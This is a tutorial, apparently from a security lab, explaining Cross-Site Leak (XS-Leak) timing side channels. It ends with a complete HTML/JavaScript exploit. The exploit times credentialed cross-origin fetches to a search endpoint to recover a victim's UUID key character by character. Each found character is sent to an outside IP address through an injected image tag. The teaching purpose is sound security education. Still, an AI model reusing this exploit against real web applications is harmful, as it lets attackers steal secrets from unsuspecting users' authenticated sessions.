cross-site-leak-vulnerability
Cross-Site Leak Vulnerability
A Cross-Site Leak (XS-Leak) is a browser side-channel vulnerability where an attacker cannot directly read cross-origin responses, but can infer sensitive information indirectly by observing measurable differences in how the browser behaves.
Unlike XSS or CSRF:
- No direct access to response body
- Same-Origin Policy is still enforced
- Information leaks via timing, size, errors, redirects, cache behavior, etc.
Why XS-Leaks exist
Modern browsers block cross-origin reads, but they still allow:
- Requests to be sent cross-origin
- Some observable side effects:
- Load time
- Redirect behavior
- Resource existence
- Cache hits/misses
- Error vs success handling
XS-Leaks exploit what the browser reveals indirectly, not the response itself.
Core idea
The vulnerable application:
- Responds differently depending on secret data
- Differences are observable from the victim’s browser
- Most commonly: time-based differences
The attacker:
- Sends requests that depend on a guessed value
- Measures how long the request takes
- Uses timing differences to reconstruct a secret
Why timing works here
The target endpoint:
- Checks a secret (UUID)
- Performs more work when a prefix matches
- Responds slower when guess is correct
This creates a timing oracle:
| Guess | Server behavior | Observed time |
|---|---|---|
| Wrong prefix | Fast reject | Fast |
| Correct prefix | Deeper check | Slow |
Exploitation Algorithm
- Start with an empty prefix
- For each character in the charset:
- Build URL with
^prefix + candidate - Measure request time
- Build URL with
- If request is slower than baseline:
- Character is correct
- Append character to prefix
- Repeat until full UUID (or whatever is the secret to exfiltrate) is recovered
The Attack
The exploitation of this issue will require us to create a single HTML page and get the victim to visit it. Your page can rely on a call to performance.now() before and after the loading of the URL to see if a character is part of the key. Make sure you use a caret (^) to ensure your search is looking for the first character(s) in the key.
The set of characters used in the key is: 0123456789-abcdef (the key is a UUID). To write your payload, you should create a key and attack a user you created first. Then you can exploit the victim. Since the payload is based on a time comparison, you may have to try the same payload multiple times. Thankfully, the algorithm you use should allow you to easily resume the attack.
<!DOCTYPE html>
<html lang="en">
<head>
<title>XS Leaks</title>
</head>
<body>
<script>
var all = "0123456789-abcdef".split(""); // character set for our secret (uuid format key in our case)
var base = "http://ptl-a03495dea401-b80a56079ec3.libcurl.me/search?search=^";
var counter = 0;
var cur = "";
function check(cur, counter) {
url = base+cur+all[counter];
var val = cur + all[counter];
v = performance.now();
fetch(url,
{ method: 'GET', credentials: 'include', mode: 'no-cors' }
).catch(err => {
console.log("fetch error" + val);
}).then(response => {
z = performance.now();
if (z-v < 3000) {
document.write("<br/>INVALID CHAR: " + val + (z-v).toString());
} else {
document.write("<br/>FOUND CHAR: " + val + (z-v).toString());
document.write("<img src='http://129.154.241.42:5959/?leak=" + val + "' />");
j=0;
while (j < all.length) {
check(val, j);
j+=1;
}
}
})
}
i = 0;
while(i < all.length) {
setTimeout(check("", i), 500 * i);
i+=1;
}
</script>
</body>
</html>